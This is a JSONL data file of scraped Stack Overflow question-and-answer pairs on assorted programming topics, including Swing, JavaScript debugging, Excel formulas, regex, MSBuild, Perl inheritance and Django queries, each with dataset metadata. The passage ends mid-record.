{"id": "hf_241e55bf3452", "question": "<p>I need to create a panel which should be invisible but the components inside it (for example, JTextArea, JButton, etc.) should be visible. When I click on the invisible panel, it should become visible.</p>\n\n<p>I can only use JRE 1.4 and nothing more than that. :(</p>\n\n<p>Any idea how to create such a transparent panel???</p>\n", "question_body": "", "answer": "```\nJComponent.setOpaque(false)\n```\nis the way to go.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:00.755331"}
{"id": "hf_0ee00de77014", "question": "<p>I recently installed VS 6.0 after installing VS 2008 and overwrite JIT settings .. when i started VS 2008 option dialog .. it said another debugger has taken over VS 2008 debugger and I asked me to reset .. so I did ..</p>\n\n<p>Now everything works fine except javascript debugging. I am unable to debug javascript .. I can set breakpoint .. but in debug mode when I hover the breakpoint it says \"The breakpoint will not currently be hit. The document is not loaded\" ..</p>\n\n<p>How can I solve this issue? Can I reset JIT Settings?</p>\n", "question_body": "", "answer": "It sounds like your script debugging is disabled.  To enable it goto, tools internet options, advanced and make sure disable script debugging is unticked.\nWhat I also found helps is if you put a\n\"debugger;\"\nline in your javascript.  Remeber that if you put a debugger statement on the first line in a function it will not attach the debugger, as far as I am aware that is a known bug with the implemention of the javascript debugger engine.\n```\n```\nvar myFunction = new function()\n{\n  debugger;\n  alert('This will not properly attach the debugger');\n}\n```\n```\nA workaround to that is:\n```\n```\nvar myFunctionThatDoesAttachTheDebugger = new function()\n{\n    var x = 0;\n    debugger;\n    alert('this should work and attach the debugger');\n}\n```\n```\nA very usefull way I have also found, is by opening the website you want to debug, and then simply type the following in the url bar:\n```\n```\njavascript:debugger;\n```\n```\nThat will also launch the debugger and give you a opportunity to attach the debugger.\nHope it helps\nRihan Meij", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:00.779450"}
{"id": "hf_784d5694fddf", "question": "<p>I have some code in .Net to draw some text content using GDI+. I used GraphicsUnit.Point to size the text. It's working wonderfully on-screen, and even if Print it.</p>\n\n<p>I've been asked to make a system that generates a PDF, and I got ComponentOne's PDF control. It has got similar interface to GDI+.</p>\n\n<p>The problem is: Font sizes are not working. If I use GraphicsUnit.Point, the text is much smaller, and I am getting empty space below the text. When I use GraphicsUnit.World, the text is still small, but there's no extra empty space below the text.</p>\n\n<p>I want to understand how to convert GraphicsUnit.World to GraphicsUnit.Point. </p>\n\n<p>All help will be appreciated.</p>\n\n<p>Thanks</p>\n", "question_body": "", "answer": "After some Googeling and from what I know from personal experience with GDI+ and String drawing it comes down to DPI (Dots per Inch). Basically the different devices (and as far as GDI+ is concerned, PDF is probably a device) have different DPI values. Displays usually have something like 70 DPI. Printers use 72. I don't know what PDFs use, but it might be 100 (as this is a common value for device independence and would explain the smaller text).\nNow, Points are defined as being 72 DPI. This is always true. What GDI+ should do, when drawing to a PDF with a different DPI is, to transform the string drawing accordingly. But this does not always work, especially with text.\nThe GraphicsUnit.World should (according to some googeling) be device independent and should look the same on all devices.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:00.802719"}
{"id": "hf_7de63e78d616", "question": "<p>In excel 2007, I have a formula in a cell like the following:</p>\n\n<pre><code>=COUNTIFS('2008-10-31'!$C:$C;\"&gt;=\"&amp;'$A7)\n</code></pre>\n\n<p>Now I want to make the name of the sheet ('2008-10-31') be dependent on the value of some cell (say A1). Something like: </p>\n\n<pre><code>=COUNTIFS(A1!$C:$C;\"&gt;=\"&amp;'$A7) // error\n</code></pre>\n\n<p>Is there is way to do this? Or do I have to write a VBA-Macro for it?</p>\n", "question_body": "", "answer": "You are looking for the INDIRECT worksheet function:\n```\n```\n=INDIRECT(\"SHEET2!A1\")\n=COUNTIFS(INDIRECT(A1 & \"!$C:$C\"); \">=\" & $A7)\n```\n```\nThe function turns a string into a real cell reference.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:00.838905"}
{"id": "hf_456faccdfb45", "question": "<p>I need to get the data of an particular <code>&lt;td&gt;</code>, but I don't have any <code>id</code> or <code>name</code> for that particular <code>&lt;td&gt;</code>. How do you get the contents of that <code>&lt;td&gt;</code>?</p>\n\n<p>For example:</p>\n\n<pre><code>&lt;table&gt;\n  &lt;tr&gt;&lt;td&gt;name&lt;/td&gt;&lt;td&gt;praveen&lt;/td&gt;&lt;/tr&gt;\n  &lt;tr&gt;&lt;td&gt;designation&lt;/td&gt;&lt;td&gt;software engineer&lt;/td&gt;&lt;/tr&gt;\n&lt;/table&gt;\n</code></pre>\n\n<p>Is it possible to get the value \"designation\" from this table.. I need to extract the word \"software engineer\" using javascript.</p>\n", "question_body": "", "answer": "Something along the line of:\n(not tested, just quick code to give an idea)\n```\n```\nvar tables = document.getElementById('TABLE'); // instead of document.all.tag\nvar rows;\nvar cells;\nvar maxCells = 1;\nvar designation;\nif (tables) {\n    for (var t=0; t<tables.length; t++) {\n        rows = tables[t].all.tags('TR');\n        if (tables[t].all.tags('TABLE').length == 0) {\n            for (var r=0; r<rows.length; r++) {\n                if (rows[r].innerText != '') {\n                    cells = rows[r].all.tags('TD');\n                    for (var c=0; c<cells.length; c++) {\n                        if (cells[c].innerText == 'designation' && c<(cells.length-1)) {\n                            designation = cells[c+1].innerText;\n                        }\n                    }\n                }\n            }\n        }\n    }\n}\n```\n```\nSince document.all is IE specific, you should rather user getElementById, with the following to\nredefine that function for IE\n:\n```\n```\nif (/msie/i.test (navigator.userAgent)) //only override IE\n{\n    document.nativeGetElementById = document.getElementById;\n    document.getElementById = function(id)\n    {\n        var elem = document.nativeGetElementById(id);\n        if(elem)\n        {\n            //make sure that it is a valid match on id\n            if(elem.attributes['id'].value == id)\n            {\n                return elem;\n            }\n            else\n            {\n                //otherwise find the correct element\n                for(var i=1;i<document.all[id].length;i++)\n                {\n                    if(document.all[id][i].attributes['id'].value == id)\n                    {\n                        return document.all[id][i];\n                    }\n                }\n            }\n        }\n        return null;\n    };\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:00.877194"}
{"id": "hf_26f3f84fe0e0", "question": "<p><em>This is javascript, but a virtually identical regex is failing in PHP too, so I don't think it's language specific</em></p>\n\n<pre><code>var r = new RegExp(\n    \"^(:19|20)?[0-9][0-9]\"            // optional 19/20 start followed by 2 numbers\n    + \"-\"                             // a hyphen\n    + \"(:0?[1-9]|1[0-2])\"             // optional 0 followed by 1-9, or 10, 11, 12\n    + \"-\"                             // a hyphen\n    + \"(:3[01]|[12][0-9]|0?[1-9])$\"   // you get the idea.\n);\nr.test(\"2008-07-01\");                // == false\n</code></pre>\n\n<p>What on earth am I missing?</p>\n", "question_body": "", "answer": "I think your non-capturing blocks should be e.g.\n```\n(?:19|20)\n```\nrather than\n```\n(:19|20)\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:00.902044"}
{"id": "hf_398db10d3bc2", "question": "<p>I have a web page where the user select a Company and with that I keep the Company name in memory though a Session but when I go to the next page the Session only last like 5 minutes?\nAny reason why and how I can fix this, I did extend the Session state in the Web.config but that did not work.</p>\n\n<p>Example: Session(\"CompanyName\") = \"Bytes Technology\"</p>\n\n<p>In my web.config I have: \ntimeout=\"40\" /></p>\n\n<p>I move from Default.aspx to CompanyDetail.aspx with my Session(\"CompanyName\")</p>\n\n<p>But if I let the program idle in CompanyDetail.aspx I lose the Session State.</p>\n\n<p>Any ideas?</p>\n\n<p>Regards\nEtienne </p>\n", "question_body": "", "answer": "some questions:\nthe timeout time is always the same? 5 minutes?\nis your site running in a load-balancing server farm? with more than one front-end server?\nwhat are you telling in your web.confing regarding sessions and sessionstate?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:00.925514"}
{"id": "hf_1c251b9b8a6c", "question": "<p>What is the proper way to terminate a Swing application from the code, and what are the pitfalls?</p>\n\n<p>I'd tried to close my application automatically after a timer fires. But just calling <code>dispose()</code> on the <code>JFrame</code> didn't do the trick - the window vanished but the application did not terminate. However when closing the window with the close button, the application does terminate. What should I do?</p>\n", "question_body": "", "answer": "Try:\n```\n```\nSystem.exit(0);\n```\n```\nCrude, but effective.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:00.959821"}
{"id": "hf_c30754dfb918", "question": "<p>I have signed numbers (2s complement) stored in 32-bit integers, and I want to extract 16-bit fields from them. Is it true that if I extract the low 16 bits from a 32-bit signed number, the result will be correct as long as the original (32-bit) number fits into 16 bits ?</p>\n\n<p>For positive numbers it is trivially true, and it seems that for negatives as well. But can it be proven ?</p>\n\n<p>Thanks in advance</p>\n", "question_body": "", "answer": "Yes, in two's complement the sign bits extend \"all the way\" to the left. When you cast a signed short to a signed int then the number is\n\"sign extended\"\nand has the same value.\nExample:\n```\nNibble\n```\n```\n(-2) = 1110 => Byte(-2) = 1111_1110\n```\nObviously the opposite it true too, if you capture at least one sign bit then the value of the number remains unchanged.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:01.009191"}
{"id": "hf_3a1dac254c74", "question": "<p>I'm doing some FK analysis of our tables by making a directed\ngraph representing FK dependencies and then traversing the\ngraph.  In my code, I name everything using directed graph\nterminology, but I'd like to have something a bit more\n\"user friendly\" in the report.</p>\n\n<p>In this scenario:</p>\n\n<pre><code>create table t1(a varchar2(20));\nalter table t1 add constraint t1_fk foreign key(a) references t2(b);\n</code></pre>\n\n<p>t1.a must exist in t2.b.  So, what words should I use in the blanks?</p>\n\n<pre><code>t1 is the _______ of t2.\nt2 is the _______ of t1.\n</code></pre>\n\n<p>Many TIA!</p>\n", "question_body": "", "answer": "I'd say (things between brackets are optional, but I'd use them)\n```\n[Column a of] table t1 references [column b of] table t2\n```\nand\n```\n[Column b of] table t2 is referenced by [column a of] table t1\n```\n?\nI'd also specify the action that happens on delete/update if any.\n```\nColumn b of table t2 is referenced by column a of table t1. \nDeleting a record in table t2 will delete matching records on table t1\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:01.043789"}
{"id": "hf_ca3a601c41e0", "question": "<p>I found a clear squared bug on IE7/8, which appears via automation (<a href=\"https://stackoverflow.com/questions/246365/how-to-manage-full-screen-in-ie-via-automation-flash-player-like\">still looking</a> for a workaround, btw). </p>\n\n<p>So, I tried with no luck to find a way to log this bug. Tried the <a href=\"http://groups.google.com/group/microsoft.public.internetexplorer.general/browse_thread/thread/0f8439d0751578a6#\" rel=\"nofollow noreferrer\">forum way</a>, but it seems this site is somehow not so active these days.</p>\n\n<p>I even tried to mail <a href=\"http://cwilso.com/\" rel=\"nofollow noreferrer\">Chris Wilson</a>, but honestly, I don't put so much hope in this attempt ;o)</p>\n\n<p>So, do anyone know a way to log a bug on IE?</p>\n\n<p>Thanks,\nVincent</p>\n", "question_body": "", "answer": "According to\nhttp://blogs.msdn.com/ie/archive/2008/07/30/wanted-ie8-beta-testers.aspx\n:\nCurrently the only way to directly\n  file a bug with the IE Team is to be a\n  part of the IE8 Technical Beta program\n  on\nMicrosoft Connect\n.\nHowever, that post also said:\nIf you wish to be a part of making IE\n  better by contributing great bug\n  reports then please email us at\n  IESO@microsoft.com and tell us a\n  little about yourself including why\n  you’d be a great beta tester.\nMaybe emailing Chris Wilson was a good idea!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:01.077814"}
{"id": "hf_8cfcfd8c9961", "question": "<p>Since version 1.5 Subversion supports to have a local caching-proxy for the main Master-repository. </p>\n\n<p>I got the slave synced and the master replaying the commits to the slave. \nEverything works fine so far, but now I am wondering how to do the authentication (working with <a href=\"http://blogs.open.collab.net/svn/2007/10/yesterday-at-th.html\" rel=\"noreferrer\">this</a> guide).</p>\n\n<p>When both, the master and the slave, have authentication set, the slave asks for username/password on reads, but both ask on writes.</p>\n\n<p>What is the way to also get authentication transparent to the user of the slave (meaning requiring only 1 authentication independent if it is read or write)?</p>\n\n<p>I am testing with:</p>\n\n<ul>\n<li>Apache/2.2.3, Subversion 1.4.2 on the slave (Debian)</li>\n<li>Apache/2.2.8, Subversion 1.5.1 (Ubuntu)</li>\n</ul>\n", "question_body": "", "answer": "Remembering the password must surely be up to the svn client you're using, why would it ask you again if you told it to remember it?\nAlso you might want to read up on apache, specifically the Require directive, which controls HTTP authentication:\nhttp://httpd.apache.org/docs/2.2/mod/core.html#require\nUsually\n```\nRequire valid-user\n```\nis used", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:01.194347"}
{"id": "hf_bae25c4128ff", "question": "<p>In MSBuild, I would like to call a task that extracts all the files in all the project in a specific solution and hold these files in a property that can be passed around to other tasks (for processing etc.)</p>\n\n<p>I was thinking something along the lines of:</p>\n\n<pre><code>&lt;ParseSolutionFile SolutionFile=\"$(TheSolutionFile)\"&gt;\n  &lt;Output TaskParameter=\"FilesFound\" ItemName=\"AllFilesInSolution\"/&gt;\n&lt;/ParseSolutionFile&gt;\n\n&lt;Message Text=\"Found $(AllFilesInSolution)\" /&gt;\n</code></pre>\n\n<p>which would output the list of all files in the projects in the solution and I could use the AllFilesInSolution property as input to other analysis tasks. Is this an already existing task or do I need to build it myself? If I need to build it myself, should the task output an array of strings or of ITaskItems or something else?</p>\n", "question_body": "", "answer": "I don't know about tasks, but there are already properties that hold all items. Just look in your typical project file and you'll see which collection they're being added to.\nNote the properties\nContent\n,\nCompile\n,\nFolder\n... any time you add a file to a project, it gets put in one of the main collections like this:\n```\n```\n<ItemGroup>\n  <Content Include=\"Default.aspx\" />\n  <Content Include=\"Web.config\" />\n</ItemGroup>\n<ItemGroup>\n  <Compile Include=\"Default.aspx.cs\">\n    <SubType>ASPXCodeBehind</SubType>\n    <DependentUpon>Default.aspx</DependentUpon>\n  </Compile>\n  <Compile Include=\"Default.aspx.designer.cs\">\n    <DependentUpon>Default.aspx</DependentUpon>\n  </Compile>\n</ItemGroup>\n<ItemGroup>\n  <Folder Include=\"App_Data\\\" />\n</ItemGroup>\n```\n```\nThen you can do stuff like this to put the values from existing properties into your properties (the Condition attribute acts as a filter):\n```\n```\n<CreateItem Include=\"@(Content)\" Condition=\"'%(Extension)' == '.aspx'\">\n    <Output TaskParameter=\"Include\" ItemName=\"ViewsContent\" />\n</CreateItem>\n```\n```\nOr you can do it manually (the Include attribute uses the existing property OutputPath, but it indicates a path that inclues all files):\n```\n```\n<CreateItem Include=\"$(OutputPath)\\**\\*\">\n  <Output TaskParameter=\"Include\" ItemName=\"OutputFiles\" />\n</CreateItem>\n```\n```\nThere are more details in the MSDN MSBuild documentation that I read when I was mucking with custom build tasks and stuff that was very helpful. Go read up on the CreateItem task and you'll be able to make more sense out of what I posted here. It's really easy to pick up on.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:01.217577"}
{"id": "hf_743abbe15286", "question": "<p>I have been bitten by something unexpected recently. I wanted to make something like that:</p>\n\n<pre><code>try :\n     thing.merge(iterable) # this is an iterable so I add it to the list\nexcept TypeError :\n     thing.append(iterable) # this is not iterable, so I add it\n</code></pre>\n\n<p>Well, It was working fine until I passed an object inheriting from Exception which was supposed to be added.</p>\n\n<p>Unfortunetly, an Exception is iterable. The following code does not raise any <code>TypeError</code>:</p>\n\n<pre><code>for x in Exception() :\n    print 1\n</code></pre>\n\n<p>Does anybody know why?</p>\n", "question_body": "", "answer": "NOT VALID. Check Brian anwser.\nOk, I just got it :\n```\n```\nfor x in Exception(\"test\") :\n    print x\n   ....:     \n   ....:     \ntest\n```\n```\nDon't bother ;-)\nAnyway, it's good to know.\nEDIT : looking to the comments, I feel like adding some explanations.\nAn exception contains a message you passed to during instantiation :\n```\n```\nraise Exception(\"test\") \n\nTraceback (most recent call last):\n  File \"<stdin>\", line 1, in <module>\nException: test\n```\n```\nIt's fair to say that the message is what defines the Exception the best, so str() returns it :\n```\n```\nprint Exception(\"test\") \ntest\n```\n```\nNow, it happens that Exceptions are implicitly converted to string when used in something else than an Exception context.\nSo when I do :\n```\n```\nfor x in Exception(\"test\") :\n    print x\n```\n```\nI am iterating over the string \"test\".\nAnd when I do :\n```\n```\nfor x in Exception() :\n    print x\n```\n```\nI do iterate over an empty string. Tricky. Because when it comes to my issue :\n```\n```\ntry :\n    thing.merge(ExceptionLikeObject)\nexcept TypeError :\n    ...\n```\n```\nThis won't raise anything since ExceptionLikeObject is considered as a string.\nWell now, we know the HOW, but I still not the WHY. Maybe the built-in Exception inherit from the built-in String ? Because as far as I know :\nadding\nstr\ndoes not make any object iterable.\nI bypassed the problem by overloding\niter\n, making it raising TypeError !\nNot a problem anymore, but still a mystery.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:01.240807"}
{"id": "hf_03c7a8e70db9", "question": "<p>How do I apply 'use base' in Perl to inherit subs from some base module?</p>\n\n<p>I'm used to C++ inheritance mechanics, and all the sites I googled for this caused more confusion then help. I want to do something like the following:</p>\n\n<pre><code>#! /usr/bin/perl\n#The base class to inherit from\nuse strict;\nuse warnings;\n\npackage 'TestBase';\n\n#-------------------------------\nsub tbSub\n{\n    my ($self, $parm) = @_;\n    print \"\\nTestBase: $parm\\n\";\n}\n\n1;\n</code></pre>\n\n<p>.</p>\n\n<pre><code>#! /usr/bin/perl\n#The descendent class\nuse strict;\nuse warnings;\n\nuse base qw(TestBase);\nsub main;\nsub mySub;\n\n#-------------------------------\n#Entry point...\nmain();\n\n#---code------------------------\nsub main\n{\n    mySub(1);\n    tbSub(2);\n    mySub(3);\n}\n\n#-------------------------------\nsub mySub\n{\n    my $parm = shift;\n    print \"\\nTester: $parm\\n\";\n}\n</code></pre>\n\n<p>Perl complains/cannot find tbSub. </p>\n", "question_body": "", "answer": "Perl's inheritance inherits\nmethods\n, not functions. That means you will have to call\n```\n```\nmain->tbSub(2);\n```\n```\nHowever, what you really want is to inherit the method into a proper class:\n```\n```\npackage Derived;\nuse base \"TestBase\";\n\npackage main;\nDerived->somemethod(\"foo\");\n```\n```\nCalling methods in the current package as functions won't pass in the $self or \"this\" object nor the class name magically. Internally,\n```\n```\nClass->somemethod(\"foo\")\n```\n```\nessentially ends up being called as\n```\n```\nClass::somemethod(\"Class\", \"foo\")\n```\n```\ninternally. Of course, this assumes Class has a subroutine/method named \"somemethod\". If not, the superclasses of Class will be checked and if those don't have a method \"somemethod\" either, you'll get a fatal error. (Same logic applies for $obj->method(\"foo\").)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:01.300031"}
{"id": "hf_0dab898dc22f", "question": "<p>Is there any way of using Memcached for fragment caching in Rails?</p>\n", "question_body": "", "answer": "You can set the fragment_cache_store in your environment.rb\n```\n```\nActionController::Base.cache_store = ActiveSupport::Cache::MemCacheStore.new()\n```\n```\nhttp://api.rubyonrails.org/classes/ActionController/Caching.html#M000628", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:01.325201"}
{"id": "hf_29622ec2571d", "question": "<p>Heres the link:</p>\n\n<p><a href=\"http://tinyurl.com/596xva\" rel=\"nofollow noreferrer\">DAMNIE6TOHELL</a></p>\n\n<p>As you can see if viewed in glorious 'IE6-o-color', the footer is shifting 1px over to the left.\nI'm struggling to find a fix for this, I've whittled it down to a bare minimum of HTML.</p>\n\n<p>Is it something to do with haslayout perhaps? Any help much appreciated.</p>\n", "question_body": "", "answer": "Add\n```\n```\nbackground-position: 50% top;\n```\n```\nto the css of container_bottom.\nIt works for me with IE Developer toolbar, but it's on a IE6 Virtual machine, so I'm not sure about real world results", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:01.359525"}
{"id": "hf_7eca609baf96", "question": "<p>I'm trying to run a command-line process (which is extraction of a .7z archive) on a file that lies in a temporary folder on the windows user temp directory\n(C:\\Documents and Settings\\User\\Local Settings\\Temp), using Process in my c# app.</p>\n\n<p>I think the process return error that happens because of \"access denied\" because I can see a win32Exception with error code 5 when I dig in the prcoess object of .NET.</p>\n\n<p>doing the same on some other location worked fine before, so I guess maybe it's something I'm not supposed to do ? (running a process to use a file on the the %TEMP%)\nperhaps I need to pass security somehow?</p>\n", "question_body": "", "answer": "Assuming that you are using regular .NET (not CF/Silverlight, etc) Accessing files in the user's temp area is entirely expected. I wonder if the problem isn't more that you've accidentally left the file open after creating it, perhaps by not using a \"using\" or similar?\nI probably wouldn't suggest using environment variables (%TEMP% etc) when shelling out to a separate process; ideally you'd pass the full path to the file (less things to get wrong...), making sure to\nquote\nany path arguments (in case of space) - i.e. so your args are @\"... \"\"c:\\some path\\whatever\\tmp\"\"...\" (if you see what I mean).\nFinally, if you are extracting files, you need to think about the existing contents.\n```\nPath.GetTempFileName()\n```\nis fine for creating a single file place-holder, but for extracting an archive you probably want to create a directory - guids are handy for this purpoes (while avioding conflicts, and remember to remove it afterwards):\n```\n```\nstring dir = Path.Combine(Path.GetTempPath(), Guid.NewGuid().ToString());\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:01.381964"}
{"id": "hf_0853560897ad", "question": "<p>In either a Windows or Mac OS X terminal if you type...</p>\n\n<pre><code>nslookup -type=SRV _xmpp-server._tcp.gmail.com\n</code></pre>\n\n<p>... (for example) you will receive a bunch of SRV records relating to different google chat servers..</p>\n\n<p>Does anyone have any experience in this area and possibly know how to service this information (hostname, port, weight, priority) using the iPhone SDK? I have experimented with the Bonjour classes, but as yet have had no luck..</p>\n\n<p>Thanks!</p>\n", "question_body": "", "answer": "Hmm, looks like I can't run\n```\nsystem()\n```\non the Simulator or the device. I can run\n```\nNSTask\n```\non the Simulator, but not the iPhone, and\n```\nNSTask\n```\nis not part of the\n```\nFoundation\n```\nframework.\nThe\nISC BIND\npackage has a BSD license. If feasible, perhaps relevant parts of the\n```\ndig\n```\ncode could be wrapped into the project directly.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:01.416802"}
{"id": "hf_cacc1a537c7d", "question": "<p>I'm working through some homework and a question on a previous exam paper asks to name all of the abstract classes in a given UML diagram. Fairly straightforward, I suppose. There are one abstract class and three interfaces. Do these interfaces qualify as abstract classes, in general?</p>\n", "question_body": "", "answer": "Yes, an Interface is implicitly Abstract. Look behind the scenes as to the way it is encoded to a\n```\n.class\n```\nfile.\nSemantics are a funny thing though; under exam conditions \"abstract class\" would have to literally be compiled from a\n```\n.java\n```\nsource file using\n```\nabstract class\n```\nin the Class' declaration.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:01.439880"}
{"id": "hf_cd47e5ebf2f1", "question": "<p>Currently, I have a UIView subclass that \"stamps\" a single 2px by 2px CGLayerRef across the screen, up to 160 x 240 times.</p>\n\n<p>I currently animate this by moving the UIView \"up\" the screen 2 pixels (actually, a UIImageView) and then drawing the next \"row\".</p>\n\n<p>Would using multiple CALayer layers speed up performance of rendering this animation?</p>\n\n<p>Are there tutorials, sample applications or code snippets for use of CALayer with the iPhone SDK? </p>\n\n<p>The reason I ask is that most of the code snippets I find that demonstrate simple examples of CALayer employ method calls that do not work with the iPhone SDK. I appreciate any advice or pointers.</p>\n", "question_body": "", "answer": "What CALayer methods are you seeing that don't work on iPhone? Aside from animation features tied to CoreImage I have not noticed much that is missing. The big thing you are likely to notice is that all views are layer backed (so you do not need to do anything special to use layers, you can just grab a UIView's layer through the layer accessors methos), and the coordinate system has a top left origin.\nIn any event, generally having more things is slower than having fewer things. If you are just repeating the same pattern over and over again you are likely to find the best performance is implementing a custom UIView/CALayer/UIColor that knows how to draw what you want, rather than placing visually identical layers or views next to each other.\nHaving said that, generally layers are lighter weight than views, so if you have a lot of separate elements that you need to keep logically separated you will find that moving to layers can be a win over using views.\nYou might want to look at -[UIColor initWithPatternImage:] depending on exactly what you are trying to do. If you are using this two pixel pattern as a background color you could just make a UIColor that draws it and set the background.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:30:01.474439"}
{"id": "hf_b65a4054fe97", "question": "<p>I have a models <code>A</code> and <code>B</code>, that are like this:</p>\n\n<pre><code>class A(models.Model):\n  title = models.CharField(max_length=20)\n  (...)\n\nclass B(models.Model):\n  date = models.DateTimeField(auto_now_add=True)\n  (...)\n  a = models.ForeignKey(A)\n</code></pre>\n\n<p>Now I have some <code>A</code> and <code>B</code> objects, and I'd like to get a query that selects all <code>A</code> objects that have less then 2 <code>B</code> pointing at them.</p>\n\n<p>A is something like a pool thing, and users (the B) join pool. if there's only 1 or 0 joined, the pool shouldn't be displayed at all.</p>\n\n<p>Is it possible with such model design? Or should I modify that a bit?</p>\n", "question_body": "", "answer": "Sounds like a job for\n```\nextra\n```\n.\n```\n```\nA.objects.extra(\n    select={\n        'b_count': 'SELECT COUNT(*) FROM yourapp_b WHERE yourapp_b.a_id = yourapp_a.id',\n    },\n    where=['b_count < 2']\n)\n```\n```\nIf the B count is something you often need as a filtering or ordering criterion, or needs to be displayed on list views, you could consider denormalisation by adding a b_count field to your A model and using signals to update it when a B is added or deleted:\n```\n```\nfrom django.db import connection, transaction\nfrom django.db.models.signals import post_delete, post_save\n\ndef update_b_count(instance, **kwargs):\n    \"\"\"\n    Updates the B count for the A related to the given B.\n    \"\"\"\n    if not kwargs.get('created', True) or kwargs.get('raw', False):\n        return\n    cursor = connection.cursor()\n    cursor.execute(\n        'UPDATE yourapp_a SET b_count = ('\n            'SELECT COUNT(*) FROM yourapp_b '\n            'WHERE yourapp_b.a_id = yourapp_a.id'\n        ') '\n        'WHERE id = %s', [instance.a_id])\n    transaction.commit_unless_managed()\n\npost_save.connect(update_b_count, sender=B)\npost_delete.connect(update_b_count, sender=B)\n```\n```\nAnother solution would be to manage a status flag on the A object when you're adding or removing a related B.\n```\n```\nB.objects.create(a=some_a)\nif some_a.hidden and some_a.b_set.count() > 1:\n    A.objects.filter(id=some_a.id).update(hidden=False)\n\n...\n\nsome_a = b.a\nsome_b.delete()\nif not some_a.hidden and some_a.b_set.count() < 2:\n    A.objects.filter(id=some_a.id).update(hidden=True)\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": 